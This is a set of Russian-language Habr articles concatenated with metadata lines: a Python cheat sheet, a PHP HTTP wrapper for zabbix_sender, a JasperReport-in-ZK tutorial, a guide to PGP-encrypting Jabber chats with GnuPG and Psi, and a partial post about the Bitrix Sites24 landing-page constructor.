Суммируя — анализаторы штука крайне интересная, особенно если не возлагать на них больших надежд. Если у вас есть десяток свободных вечеров для неспешного изучения чего-нибудь интересного — потыкайте Roslyn. | https://habr.com/ru/post/334582/ | null | ru | null |
# Python-шпаргалка. Часть 1 — Язык и Типы объектов
Данная статья представляет собой очень краткую, но емкую выжимку всего, что должен знать начинающий разработчик или QA-инженер о языке Python. Надеюсь, что усердие, приложенное при написании данной статьи, поможет многим подготовиться к собеседованиям на соответствующие вакансии и расширить свой IT-кругозор.
Статью стоит воспринимать не как учебник, а как удобную шпаргалку или «опорный сигнал» (так моя учительница истории называла подобное «творчество» в школе). Здесь не будет подробных определений, объяснений в целую главу, а лишь четкие термины, списки, краткие выжимки кода. Статья основана на замечательной книге Марка Лутца «Изучаем Python (5-е издание)», так что за её корректность и достоверность можете не переживать. Итак, начнем.
### Вкратце о Python
*Python* — высокоуровневый язык программирования общего назначения (часто называется языком сценариев), ориентированный на повышение производительности разработчика и читаемости кода.
*Преимущества Python:*
* Качество ПО
* Высокая скорость разработки
* Переносимость программ
* Библиотеки поддержки
* Интеграция компонентов (можно вызывать функции из библиотек C/C++)
*Основные возможности Python:*
* Динамическая типизация (при этом она строгая)
* Автоматическое управление памятью
* Модульное программирование
* Встроенные типы объектов
* Библиотеки утилит
*Процесс запуска программ:*
* Сценарий компилируется (перевод программы) в байт-код (платформонезависимое представление исходного текста программы, .pyc файл)
* Байт-код передается виртуальной машине PVM.
*Сравнение с C/C++:*
* Отсутствует этап сборки
* Байт код не является двоичным машинным кодом (не может выполняться так же быстро)
*Альтернативные реализации Python:*
* CPython (реализация на ANSI C)
* Jython (реализация на Java классах)
* IronPython (реализация для использования с .Net)
### Типы объектов в Python
Данные в Python представляется в форме объектов — либо встроенных, либо создаваемых с помощью конструкций языка Python или других (например С).
> Программы <= Модули <= Инструкции <=Выражения
*Формы отображения объектов:*
* repr (в виде программного кода, например 6.28300000000004)
* str (более читаемый, например 6.283)
*Строка* — неизменяемая последовательность (упорядоченная коллекция) других объектов (односимвольных строк) в языке Python.
*Некоторые операции над последовательностями:*
* len(s) — длина
* s[0] — обращение к элементу
* s[-1] — обращение к элементу с конца последовательности
* s[1:3] — срез начиная со смещения 1 и до 2 (не 3)
* s[:] — скопировать все содержимое (не путать с a=s)
* s\*8 — повторение
* s+’xyz’ — конкатенация
*Особые символы табуляции:*
* \n — конец строки
* \t — табуляция
* ord(‘\n’) — байт с числовым значением
* ‘A\0B\0C’ — \0 двоичный ноль
**[Hint]** Чтобы вывести все доступные методы у переменной: dir(s)
*Списки (lists)* – это упорядоченные по местоположению коллекции объектов произвольных типов, размер которых не ограничен.
Списки являются последовательностями => поддерживают все операции над последовательностями. Единственное отличие состоит в том, что результатом таких операций являются списки, а не строки.
*Преимущества списков:*
* Возможность создавать вложенные списки
* Использование выражений генераторов списков
```
col2 = [row[1] for row in M]
```
*Словари (dictionary)* — не являются последовательностями, это коллекции объектов, где доступ к ним осуществляется не по определенным смещениям от начала коллекции, а по ключам. Изменяемый тип. Также возможна вложенность.
```
D = {'food': 'Spam', 'quantity': 4, 'color': 'pink'}
```
или
```
D = {}
D['name'] = 'Bob'
```
*Кортеж (tuple)* — список, который невозможно изменить. Кортежи являются последовательностями, как списки, но они являются неизменяемыми, как строки. Возможна вложенность. Возможно одновременное хранение объектов разных типов.
```
T = (1, 2, 3, 4)
```
*Объекты-файлы* — это основной интерфейс между программным кодом на языке Python и внешними файлами на компьютере. Файлы являются одним из базовых типов, но они представляют собой нечто необычное, поскольку для файлов отсутствует возможность создания объектов в виде литералов. Вместо этого, чтобы создать объект файла, необходимо вызвать встроенную функцию open, передав ей имя внешнего файла и строку режима доступа к файлу.
```
f = open('data.txt', 'w') # Создается новый файл для вывода
```
Самый лучший на сегодняшний день способ чтения файлов состоит в том, чтобы не читать его содержимое целиком – файлы предоставляют итераторы, которые обеспечивают автоматическое построчное чтение содержимого файла в циклах for и в других контекстах.
*Множества* — это неупорядоченные коллекции уникальных и неизменяемых объектов. Множества создаются встроенной функцией set.
```
X = set('spam') # В 2.6 и 3.0 можно создавать из последовательностей
Y = {'h', 'a', 'm'} # В 3.0 можно определять литералы множеств
X, Y
({'a', 'p', 's', 'm'}, {'a', 'h', 'm'})
X & Y # Пересечение
{'a', 'm'}
X | Y # Объединение
{'a', 'p', 's', 'h', 'm'}
X – Y # Разность
{'p', 's'}
``` | https://habr.com/ru/post/312674/ | null | ru | null |
# zabbix_sender over HTTP — как послать данные в Zabbix по HTTP|S
В этой статье я приведу возможное решение проблемы для многих системных администраторов, которые используют систему мониторинга [Zabbix](http://www.zabbix.com/ru/). Особенно пригодится для тех, кто осуществляет мониторинг разных программ в Zabbix: системы телефонии, разные регламентные операции с БД, 1С (да, да, такие вот мы ~~извращенцы~~ люди с нестандартным мышлением, что мониторим 1С в Zabbix). Сам мучался делая Powershell-скрипты, использую для отсылки zabbix\_sender.exe. Страшные были времена.
#### Как мы до этого дошли
Пользуюсь данной системой не первый год. В начале использовали для мониторинга доступности (ага, таким комбайном делали icmp-запросы и все). Сейчас используем почти весь функционал, карты, инвентаризацию, отчеты. С недавнего времени стали прикручивать мониторинг бэкапов (не только Linux-систем, но и разных Windows), мониторинг разных программ (кассовые программы в рознице), обменов, синхронизаций. И каждый раз приходилось писать скрипты, потому что многие программы не могли сами запускать zabbix\_sender.exe с нужными параметрами (особенно касается 1С). ~~Для мониторинга этих скриптов писались другие скрипты.~~ Программа экспортирует что-то в файл, скрипт его парсит, отправляет все через zabbix\_sender.
Каждый раз мне — как системному администратору — приходилось делать все скрипты. Программисты 1С же просто писали файлики, логика была вся на мне. Меня это ~~как и любого ленивого системного администратора~~ не устраивало.
Я всегда негодовал (особенно в начале), почему нет веб-интерфейса для отправки значений в Zabbix? А теперь все проще — ну раз нет, так напишем!
#### Реализация
**Оправдания, извинения**Сразу скажу, я не PHP-программист, поэтому у толковых программистов код может вызвать кровотечения из области глаз. Также не стоит данное решение подвергать большой нагрузке, для каждого значения запускается отдельный экземпляр zabbix\_sender, если нужно отправить сразу много значений — возможно стоит поискать в API и устанавливать одну сессию, без разрыва. Таким способом мы получаем примерно 200 параметров за минуту, пока полет отличный!
Приступим! Создаем папку zabbix\_sender на сервер zabbix (у меня папка /var/www/zabbix, не забываем про root-права):
```
mkdir /var/www/zabbix/zabbix_sender
chown www-data:www-data /var/www/zabbix/zabbix_sender
```
Создаем файл index.php, содержание в **спойлере**
```
php
function get_client_ip() {
$ipaddress = '';
if (getenv('HTTP_CLIENT_IP'))
$ipaddress = getenv('HTTP_CLIENT_IP');
else if(getenv('HTTP_X_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
else if(getenv('HTTP_X_FORWARDED'))
$ipaddress = getenv('HTTP_X_FORWARDED');
else if(getenv('HTTP_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_FORWARDED_FOR');
else if(getenv('HTTP_FORWARDED'))
$ipaddress = getenv('HTTP_FORWARDED');
else if(getenv('REMOTE_ADDR'))
$ipaddress = getenv('REMOTE_ADDR');
else
$ipaddress = 'UNKNOWN';
return $ipaddress;
}
//header("Content-type: text/xml; charset=windows-1251");
$server=$_GET['server'];
$key=$_GET['key'];
$value=$_GET['value'];
$zabbix_server_address="zabbix.domain.com";
if (empty($server)){
echo "parametr SERVER is EMPTY";
$ip_address=get_client_ip();
$error_msg= date('Y-m-d H:i:s') . " - ZABBIX_SENDER[warning] - FROM: $ip_address; HTTP_PARAM: server=$server, key=$key, value=$value; ERROR: parametr SERVER is EMPTY\n";
error_log($error_msg,3,"/var/log/apache2/zabbix_sender.log");
exit;
}
if (empty($key)){
echo "parametr KEY is EMPTY";
$ip_address=get_client_ip();
$error_msg= date('Y-m-d H:i:s') . " - ZABBIX_SENDER[warning] - FROM: $ip_address; HTTP_PARAM: server=$server, key=$key, value=$value; ERROR: parametr KEY is EMPTY\n";
error_log($error_msg,3,"/var/log/apache2/zabbix_sender.log");
exit;
}
if ($value==""){
echo "parametr value is EMPTY";
$ip_address=get_client_ip();
$error_msg= date('Y-m-d H:i:s') . " - ZABBIX_SENDER[warning] - FROM: $ip_address; HTTP_PARAM: server=$server, key=$key, value=$value; ERROR: parametr VALUE is EMPTY\n";
error_log($error_msg,3,"/var/log/apache2/zabbix_sender.log");
exit;
}
$exec_str="/usr/local/bin/zabbix_sender -z $zabbix_server_address -p 10051 -s ".escapeshellarg($server)." -k ". escapeshellarg($key)." -o ". escapeshellarg($value);
exec($exec_str,$out, $err);
if ($err==0){
echo "OK";
}
else {
//print to html
echo "ERROR:";
echo "</br";
echo "server=$server, key=$key, value=$value";
echo "";
var_dump($out);
echo "";
var_dump($err);
//Log error
$ip_address=get_client_ip();
$error_msg= date('Y-m-d H:i:s') . " - ZABBIX_SENDER[error] - FROM: $ip_address; HTTP_PARAM: server=$server, key=$key, value=$value; ERROR: zabbix_sender: $out[0]\n";
error_log($error_msg,3,"/var/log/apache2/zabbix_sender.log");
}
```
Чтобы отослать значение. вам достаточно написать в браузере (или в программе, которая умеет делать HTTP GET-запрос) запрос вида **[zabbix.domain.com/zabbix\_sender/index.php?server=myhost&key=testitem&value=11](https://zabbix.domain.com/zabbix_sender/index.php?server=myhost&key=testitem&value=11)**. Где **server** — хост в заббиксе (регистрозависимое имя!), key/value — название и значение item.
#### Подробнее или для интересующихся
Функция *[get\_client\_ip](http://stackoverflow.com/questions/15699101/get-the-client-ip-address-using-php)* берет IP-адрес клиента, который послал (будем писать в лог для дебага при ошибках).
Всего две возможные ошибки. Ошибка при выполнении zabbix\_sender, пишем в лог (который находится в */var/www/apache2/zabbix\_sender.log*)
```
ZABBIX_SENDER[error] - FROM: $ip_address; HTTP_PARAM: server=$server, key=$key, value=$value; ERROR: zabbix_sender
```
Нет какого-либо GET-параметр
```
ZABBIX_SENDER[warning] - FROM: $ip_address; HTTP_PARAM: server=$server, key=$key, value=$value; ERROR: parametr KEY is EMPTY
```
Где **$ip\_address** — с какого IP-адреса послали значение, остальные параметры думаю понятные.
#### Мониторим систему мониторинга
Смотреть на ошибки после того как мониторинг не сработал — плохо, поэтому мы будем мониторить мониторинг.
Для этого добавляем в zabbix\_agentd.conf:
```
UserParameter=zabbix_sender_web_status_error, grep -q 'ZABBIX_SENDER\[error\]' /var/log/apache2/zabbix_sender.log; echo $?;
UserParameter=zabbix_sender_web_status_warning, grep -q 'ZABBIX_SENDER\[warning\]' /var/log/apache2/zabbix_sender.log; echo $?;
```
Перезапускаем агента. Чтобы логи очищались раз в день (и ошибка висела только один день), проверяем чтобы был файл */etc/logrotate.d/apache2* с содержанием:
```
/var/log/apache2/*.log {
daily
missingok
rotate 52
compress
delaycompress
notifempty
create 644 www-data www-data
sharedscripts
postrotate
/etc/init.d/apache2 reload > /dev/null
endscript
}
```
В хосте Zabbix Server добавляем два item:
И два триггера:
#### Напоследок
Итого мы получили новое API для отсылки значений в Zabbix. Теперь даем ссылку программистам **[zabbix.domain.com/zabbix\_sender/index.php?server=myhost&key=testitem&value=11](https://zabbix.domain.com/zabbix_sender/index.php?server=myhost&key=testitem&value=11)**, создаем нужные Шаблоны, привязываем к хостам… Ну и еще много чего делаем, но уже без zabbix\_sender, а с модным web API. Программисты могут сами отслеживать успех или неудачу доставки, если все хорошо, то веб-сервер вернет страничку «OK», если нет — сообщит какого параметра нет. Ну если совсем тяжело, то Zabbix сам скажет что у него ошибка.
P.S. Хочу услышать конструктивную критику, возможно, даже есть похожие решения, но я их не нашел. | https://habr.com/ru/post/253799/ | null | ru | null |
# JasperReport+ZK интеграция без одного потраченного цента
Доброго всем времени суток. Когда я начинал изучать этот превосходный [framework zk](http://zkoss.org), а было это года два назад, то конечно русских манов я не встретил, тогда я полез на всеми нами обожаемый хабр и таки нашел один вводный пост. Но он был настолько вводный (не в обиду уважаемому, который потрудился его написать), что пришлось обращаться к одному источнику, их же форуму . Поэтому, моя цель — заполнить эту огромную брешь в наличии русскоязычных туториалах.
Ну, хватит прелюдий, начнем. Исходя из названия поста очевидно, что повествование будет вестись об интеграции JasperReport с zk, и, чтобы эта интеграция прошла безболезненно для бюджета. Так как, если заглянуть [сюда](http://www.zkoss.org/zkdemo/reporting/jasperreport), то можно обнаружить такую нелицеприятную фразу — This feature requires ZK PE or EE.
Про CE, PE и EE лицензии можно почитать на их сайте, а если кратко, то только CE бесплатна. Но что же делать, если почти в любом приложении необходима реализация функций генерации и вывода отчетов пользователю. Есть несколько путей выхода из данной ситуации первый — заплатить за PE или EE, второй будет изложен здесь.
Начнем из далека, то есть с jasper скомпилированного класс. Для этих целей всем советую пользоваться продуктом [iReport](http://jasperforge.org/project/ireport), отличный editor для проектирования, компиляции и предпросмотра отчетов. Расписывать как генерировать отчеты в JasperReport не буду, так как для этого есть куча даже русских хелпов. В итоге у нас будет скомпилированный отчет с расширением .jasper. Отлично, но про него пока забудем и напишем пару строчек кода интеграции.
Для простоты создадим zk project и в WebContent создадим, конечно, если он сам автоматом не сгенерировался, index.zul файл и впишем следующие строки:
```
```
Дальше в унаследованном классе напишем процедуру по генерации отчета в pdf, и если все прошло нормально отображаем это на форме.
```
package ui.component;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.sql.Connection;
import net.sf.jasperreports.engine.JRException;
import net.sf.jasperreports.engine.JasperExportManager;
import net.sf.jasperreports.engine.JasperFillManager;
import net.sf.jasperreports.engine.JasperPrint;
import org.zkoss.util.media.AMedia;
import org.zkoss.zul.Iframe;
import org.zkoss.zul.Messagebox;
import org.zkoss.zul.Window;
public class Main extends Window
{
private static final long serialVersionUID = 1L;
public void onShowMessage() throws InterruptedException
{
try
{
JasperPrint print = JasperFillManager.fillReport("путь к файлу/HelloWorld.jasper", null);
JasperExportManager.exportReportToPdfFile(print, "путь к файлу/HelloWorld.pdf");
Iframe iframe = (Iframe) this.getFellow("iframe");
File f = new File("путь к файлу/HelloWorld.pdf");
byte[] buffer = new byte[(int) f.length()];
FileInputStream fs = new FileInputStream(f);
fs.read(buffer);
fs.close();
ByteArrayInputStream is = new ByteArrayInputStream(buffer);
AMedia amedia = new AMedia("HelloWorld.pdf", "pdf", "application/pdf", is);
iframe.setContent(amedia);
} catch (IOException e)
{
Messagebox.show("Ошибка при чтении файла");
e.printStackTrace();
} catch (JRException e)
{
Messagebox.show("Ошибка при формировании pdf-файла");
e.printStackTrace();
}
}
}
```
Маленькое замечание: если вы хотите передать в скомпилированный класс параметры и строку подключения, то для примера можно воспользоваться вот таким кодом:
```
HashMap hm = new HashMap();
hm.put("dateStart", new SimpleDateFormat("HH:mm:ss").format(dbStart.getValue()));
hm.put("pCommand", "\"Название команды\"");
Connection conn = ;// ну, тут море способов получить коннект, каждый использует свой любимый способ
JasperPrint print = JasperFillManager.fillReport("путь к файлу/HelloWorld.jasper",hm,conn );
```
Ну вот и все, очень просто и легко.
P.S. Если есть вопросы по zul разметке, по коду или вообще по фреймворку, то спрашивайте — в комментариях постараюсь ответить на все вопросы
Ой чуть не забыл. вот список всех нужных библиотек для того, чтобы все заработало:
* breeze.jar
* bsh.jar
* commons-collections-3.1.jar
* commons-digester-1.7.jar
* commons-fileupload.jar
* commons-io.jar
* commons-lang-2.5.jar
* commons-logging-1.1.1.jar
* fckez.jar
* groovy.jar
* iText-2.1.0.jar
* jasperreports-3.7.6.jar
* jruby.jar
* js.jar
* jython.jar
* sapphire.jar
* silvertail.jar
* zcommon.jar
* zcommons-el.jar
* zhtml.jar
* zk.jar
* zkplus.jar
* zul.jar
* zweb.jar
файлы breeze.jar,sapphire.jar,silvertail.jar — это скины, так что их наличие у вас на сервере не обязательно | https://habr.com/ru/post/128320/ | null | ru | null |
# Шифруем сообщения в сети XMPP/Jabber с помощью PGP
В этой статье я подробно опишу как использовать шифрование при передаче сообщений по сетям на основе XMPP с помощью пакета GnuPG. Показана процедура генерации ключевых пар под Windows, установка ключей в клиент Psi, проверка подписанного присутсвия, передача шифрованного сообщения.
Мотивация
---------
Для чего может понадобится шифрование сообщений?
1. Так как сеть XMPP федеративная и каждый может основать свой узел, то ставится вопрос доверия администратору данного сервера. Сервер могут сломать, сам админ может подбарижить данными и т.д.
2. XMPP набирает популярность в качестве внутрикорпоративного обмена. Может быть сервер и не имеет выхода в Интернет, но никто не застрахован от приезда Party-van с маски-шоу внутри
3. Цифровая подпись повышает надёжность идентификации. То есть вы точно знаете что в данный момент за компьютером сидит именно тот человек, который вам дал ключ, а не тот кто ломанул его аккаунт или воспользовался его отсутсвием его за компьютером
Немного теории
--------------
Сообщения шифруются с помощью [криптосистемы с открытым ключом](http://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%81_%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D1%8B%D0%BC_%D0%BA%D0%BB%D1%8E%D1%87%D0%BE%D0%BC). Если не вдаваться в подробности, суть системы шифрования состоит в том, что существует пара ключей и некая процедура, которая может с помощью одного ключа преобразовать сообщение так, что обратное преобразование можно будет выполнить только с помощью другого ключа. Один из этих ключей называется закрытым и держится в тайне, другой же, напротив, называется открытым, и распространяется свободно. Таким образом, зашифровав сообщение открытым ключом можно быть уверенным, что его прочитает только владелец закрытого ключа, напротив, подписав что-то своим ключом автор даёт уверенность получателю сообщения в своём авторстве.
Можно объединить эти две процедуры и тогда содержимое будет известно только двум лицам, обладающими соответсвующими ключами. Наглядно это изображено на картинке:
На данный момент невозможно за обозримое время из открытого ключа восстановить закрытый.
Инструменты
-----------
В качестве системы шифрования мы будем использовать пакет с открытым кодом GnuPG (эй, не убегайте, это под Windiows тоже есть и очень даже юзерфрендли :)) и клиент Psi. Уверен, что в других клиентах процедура схожая. Я взял реализацию под windows, так как всё-таки её использует большинство пользователей, а юниксоиды, думаю, и сами разбирутся. В \*nix в качестве удобного средства управления ключами можно посоветовать kgpg.
Предполагаю что у вас уже стоит jabber клиент, он настроен и соединение с сетью есть.
Шаг первый, загрузка ПО и генерация закрытого и открытого ключей
----------------------------------------------------------------
Для пользователей Windows специально создан пакет программ [gpg4win](http://www.gpg4win.org/), который существенно облегчает работу с GPG. [Скачиваем gpg4win lite с официального сайта](http://www.gpg4win.org/download.html), выбираем необходимые компоненты и устанавливаем.
После установки, запускаем менеджер ключей WinPT. При первом запуске утилита предложит создать ключевую пару. Это очень важный шаг. Ключ это ваш паспорт в сети интернет, проверье внимательно имя и адрес, очень желательно его не терять и не забывать от него пароль. Восстановить закрытый ключ будет уже не возможно, придётся генерить новый. Каждый закрытый ключ шифруется паролем. Это нужно для того что бы даже если кто-то завладеет вашим ключом, злоумышленник не смог бы им воспользоваться, без пароля он бесполезен. Программа предожить забекапить ключ и это правильно.
Итак, вы сгенерили ключевую пару. Теперь в меню WinPT нужно выбрать Key -> Export… Таким образом вы получите файл \*.asc, который будет содержать что-то вроде:
`-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.4.7 (MingW32)
mQGiBEmINMURBACJDeTglDCoq5HQ4bU6yFzqCTfYbCEjkNlMmvJK+5zesKVJhohK
LZ6oiCZaGt5B8rfY1qvJvgIQNvWOsp63lviPSTamndlmlDeTOXbqc21iEE6E9mOS
.....`
Это и есть ваш открытый ключ, его можно разослать друзьям и коллегам, с которыми вы собираетесь обмениваться сообщениеми. Естественно обмениваться ключами желательно через зашифрованный канал или банально переписать на CD-R/флешку. Так же можно разместить свой открытый ключ на своём вебсайте или в профайле хабра. Не буду вдаваться в подробности, но обмен ключами довольно забавная процедура, см. [Web Of Trust](http://en.wikipedia.org/wiki/Web_of_trust) и [Key signing party](http://en.wikipedia.org/wiki/Key_signing_party)
Шаг второй, добавление своего ключа в Psi и импорт открытых ключей контактов
----------------------------------------------------------------------------
Итак, теперь надо сказать Psi, что нужно использовать ключ. Запускаем Psi, идём в настройки аккаунта, там во вкладке подробности нажимаем «выбрать openPGP ключ» и указываем наш ключ.
После выбора ключа и переподключения к сети, Psi затребует пароль от закрытого ключа:
Теперь вы подключены к сети и ваш статус подписан. То есть те, кто имеют ваш открытый ключ, знают, что за компьютером именно вы.
Допустим, вы обменялись с кем-то ключами, по есть отдали свой открытый ключ и получили чей-то открытый. Теперь нужно привязать ключ к конкретному аккаунту. Для этого заходим в WinPT, заходим в key->import, далее выбираем файл с ключом нужного человека. Всё, открытый ключ импортирован в систему. Стоит сказать, что Psi считывает состояние ключей только при запуске, так что после того как мы добавили новый ключ надо перезапустить Psi. Кликаем правой кнопкой мыши на нужный контакт и выбираем «Присвоить ключ OpenPGP», присваиваем контакту его ключ. Теперь мы можем проверить электронную подпись нашего контакта:
Выделенная зелёным строчка означает, что контакт вошёл в сеть с правильным ключом и у вас есть его открытый ключ. Если строчка чёрная это означает, что статус клиента подписан, но у вас нет его ключа или ключ неверен, так что неизвестно кто там за компом.
### Шаг третьий. Обмениваемся шифрованными сообщениями
Теперь всё что требуется это отрыть новое окно с чатом и нажать иконку с замочком. Произойдёт сверка ключей и, если всё в порядке, система выдаст сообщение о том, что разговор зашифрован. После этого можно общатся спокойно, не беспокоясь что разговор будет перехвачен в пути.
Последнее сообщение в шифрованном виде выглядит так:
> `<message from="ivlis\_test@jabber.ru/Psi" type="chat" xml:lang="ru-RU" to="ivan@ivlis.com/WorkF53B8E96" id="aaf8a" >
>
> <body>[Ошибка: сообщение зашифровано, и невозможно его расшифровать.]body>
>
> <active xmlns="http://jabber.org/protocol/chatstates"/>
>
> <x xmlns="jabber:x:encrypted">
>
> hQEOA/CjxWiKTl51EAP9HaQ8nzTtjUECqiO+1lcJRciUJrOLkgFr/KTqjvOmEgvx
>
> rtF4TCCjpBMElbVbjY+yYmV6F8IWMweRlU4olzDFfdbJYO/TGWq+22s3jIvhWI+e
>
> 7bfMn7qVcnDD7GsGxU8norUqjKHQmYvwdAwHBDdbf/AD0qqAvb7jK+1X1NXyeioD
>
> /3lxyWobgoiCt165OwZu/G2osiDQlMTtzt/W198tzfpKoJURaUNkwhFJeOp3rgr0
>
> 77frKDbIO6IRloyHx1xL3kRZNEBOVJO5AYdflH0Z756wPt+mGpZ29vzbdt40hkwu
>
> rHjnYEDJhj1oJkoRpesIgiPQxmXpbsRGrAcKQr2f4e3d0lgBCkkivC27qPEM0eFO
>
> TQnVww+RGczA+VHRbpXCRvLx4fcle9qSEM0xgdkae7IWJXBQRVEootOqdNJz49G8
>
> FPakyAsBoZ2XvrEqW+r6hXvLYrKGBYO2cI3F
>
> =ysMLx>
>
> message>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Можно быть уверенным, что в ближайшие 50 лет никто не сможет это прочитать.
### Заключение
Итак, как видно, шифровать сообщения на лету очень просто, для конечного юзера не меняется практически ничего, а надёжность системы возрастает. Может быть это и сподвигнет кого-то перейти на xmpp/jabber.
Но всегда нужно помнить:
1. Шифрование не отменяет голову. Храните пароль от ключей в секрете, сделите за кейлоггерами, вирусами и прочим.
2. [Это](http://xkcd.com/538/)
Спасибо за внимание, надеюсь было интересно. :) | https://habr.com/ru/post/50982/ | null | ru | null |
# Как подружить конструктор лендингов Сайты24 с работающим ecom-проектом. Полет нормальный?
Всем привет, на связи снова AGIMA, а я ее тимлид — Дмитрий Матлах. Сегодня мы поделимся историей — расскажем о том, как избавились от одной очень назойливой боли. До недавнего времени эта боль преследовала нас постоянно: из месяца в месяц, из проекта в проект. Если и вам приходилось разрабатывать лендинги в составе ecom-проекта с отлаженными системами CI/CD c ревью кода и тестированием каждой итерации, возможно, вы тоже задумывались над этим. Какая боль, и, главное, как же мы с ней справились? Сейчас расскажем.
### С чего все началось
У нас в AGIMA, процессы настроены так, чтобы не допускать багов на production и проводить тестирование на каждом этапе. При этом сложные технологические решения — обычное дело в нашей работе. И то, что они выверяются и тестируются на каждом шагу — это обычно хорошо и правильно. Но в какой-то момент у нас появилось ощущение, что при создании лендингов такая система — ловушка, из которой нужно срочно искать выход…
Оговорюсь, разработка ведется по waterfall-схеме: макет дизайна/верстка/backend-интеграция/тестирование/deploy, а изменения, внесенные в базу данных, требуют написания миграции для переноса по площадкам для тестирования и релиза. «Ну и что здесь такого?», скажете вы.
Однако… При создании каждого лендинга на нас обрушивался целый поток доработок, правок последней минуты и редактирования текстов. Очень часто правки нужно было сохранять в базе, а значит, фиксация изменений = написание миграций и ревью кода и перенос по стейдж-площадкам в режиме цейтнота это было похоже на кошмарный хоровод, в котором «кружилась» вся команда, т.к. любая правка — это ревью, деплой и тестирование.
Нужно было успевать делать такие лендинги вместе со всеми правками в ритме заказчика. Нам виделся лишь один путь к «спасению». Им мог бы стать конструктор, в котором заказчик создает лендинги силами контент-менеджеров в собственном ритме. А в идеале — еще и библиотека, в которой было бы сохранено большинство существующих блоков для повторного использования в новых задачах. Здесь я улыбаюсь, представляя лендинг, созданный по всем style-guides, который контент-менеджер собрал сам без помощи отдела разработки, а еще и самостоятельно внес все правки как текстовые, так и стилевые. И этот DIY — сразу на production с возможностью preview! Словом, мы увидели цель, осталось оценить препятствия.
А теперь время познакомить вас с темой статьи. Эта статья — о практике использования модуля конструктора сайтов на платформах 1С-Битрикс. Называется этот конструктор — Сайты24.
*Дисклеймер: сравнение Сайты24 с существующими конструкторами веб-страниц, как и реклама отдельного решения не имеют ничего общего с целями данной статьи. Это просто рассказ про опыт конструктора и заметки по ходу.*
Проект работает на платформе 1С-Битрикс «Управление сайтом». Бизнес-заказчику понравилась идея использовать уже встроенный функционал конструктора.
Все знают конструкторы сайтов Tilda, Wix и т.д., их обширные возможности и сильные стороны,
но здесь пойдет речь не о конструкторах, вообще, а о включении такого инструмента в жизненный цикл приложения и схему его деплоя.
**Чего мы ожидали от конструктора:**
* Генерация валидного html-кода разметки страниц — без ограничений и критичных недостатков.
Изменение структуры разметки, добавление новых тегов при редактировании визуального отображения блоков.
* Поддержка существующего шаблона сайта с общими блоками навигации.
* Простая интеграция и поддержка.
* Интерфейсы редактирования.
* Версионирование изменений.
* Адаптивность.
* Извечные проблемы: Качество, Скорость разработки и Надежность. А можно всё вместе?
Что из этого было «в наличии»:
* Интересная система шаблонов блоков для страниц на стилях bootstrap 4.
Дает возможность генерировать валидный код, т.к. разметка фактически выстроена в шаблоне. Изменения проходят через применение набора классов/атрибутов для ключевых элементов разметки блока или через клонирование структурных элементов, без генерации избыточного кода. Привязка элементов блока описывается в PHP CONFIG файлах — манифестах, в которых элементу страницы можно назначить тип данных для поддержки визуальным редактором.
* Интеграция в уже задействованную платформу — очень весомый плюс.
Берем существующий компонент. Просто создаем из него блок и даем возможность указать в манифесте только требуемые параметры при добавлении. Получаем возможность создавать шаблоны страниц сайта «из коробки».
* На рисунке блоки 1 и 2 могут быть отдельными «лендингами» из блоков меню (к примеру) в структуре и повторяться на группе связанных между собой страниц. Но в нашем случае это мешало, т.к. делало лендинги отдельными подпроектами, которые нужно было отдельно поддерживать. Мы нашли возможность встроить вывод лендингов на базе основного шаблона сайта, тем самым решив проблему со сквозными Header и Footer для всех страниц в общем случае.
*Проблема: для лендингов в базовой схеме по документации есть отдельный шаблон
/bitrix/templates/landing24. В нем идет подключение необходимых стилей для вывода лендингов в режиме демонстрации и в режиме редактора. Т.е. есть набор скриптов стилей, которые требуется совместить со стилями и скриптами работающего проекта.*
Мы создали универсальный шаблон для всего сайта и логический блок для зависимостей, задействованных в работе модуля лендингов, который подключаем при необходимости.
```
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die();
</code
```
```
use Bitrix\Main\Localization\Loc;
use App\Helper\ABTestHelper;
use App\Helper\DigitalDataManager;
use App\Helper\Functions;
use App\Helper\MetaDataHelper;
use Bitrix\Main\Page\Asset;
```
```
global $APPLICATION;
```
```
$landingClass = (IS_ADMIN_PAGE_LANDING_VIEW || IN_LANDING_DIR) ? 'landing24-content' : '';
if (IS_ADMIN_PAGE_LANDING_VIEW && $APPLICATION->GetShowIncludeAreas()) {
// Отключаем режим правки при переходе в конструктор
unset($_SESSION['SESS_INCLUDE_AREAS']);
}
if (IS_ADMIN_PAGE_LANDING_VIEW && $_GET['landing_mode'] != 'edit') {
require_once 'landing.header.php';
require_once 'landing.varjs.php';
return;
} elseif (IS_ADMIN_PAGE_LANDING_VIEW || IN_LANDING_DIR) {
// Подключаем кастомные ассеты, необходимые для работы блоков конструктора
require_once 'landing.assets.php';
require_once 'landing.varjs.php';
if (\Bitrix\Main\Loader::includeModule('landing'))
{
CUtil::InitJSCore(['popup']);
CUtil::InitJSCore(['landing_core_iqos']);
}
}
```
Фрагмент файла header.php шаблона сайта
Были сомнения, что возможны конфликты, и наша идея не «взлетит», однако все заработало нормально.
Результат — возможность вести обновление общего шаблона сразу для всех частей системы, не тратя время на синхронизацию на каждой доработке. И это упростило нам жизнь.
В идеологии создателей модуля заложен принцип разделения страниц из конструктора и страниц классического шаблона. В данном случае проект должен оставаться целостным. А в контексте нашего решения разница между этими типами страниц должна была присутствовать: нужна возможность добавления товаров в корзину со страницы-лендинга.
* Требуется быстро добавлять новые блоки.
Такая возможность заложена в архитектуре. Всё, на самом деле, очень просто и интересно.
Нужно всего 2 файла: блок и манифест к нему. Что в них?
Блок — это блок html-разметки, в которую не нужно добавлять специальные элементы «для конструктора». Связь ключевых элементов (нод) с механикой конструктора идет через указание класса, по которому мы можем указывать, как настраивать тот или иной элемент. И это работает и для указания повторяемых элементов-списков.
Общие настройки для всех блоков
*Проблема: все блоки в базовом понимании изолированы. В работе потребовалось, чтобы у всех блоков была общая часть. К примеру, возможность добавить дисклеймер, несколько кнопок «call to action» с различными стилями, кнопку добавления в корзину и так далее. Т.е. своеобразное наследование.*
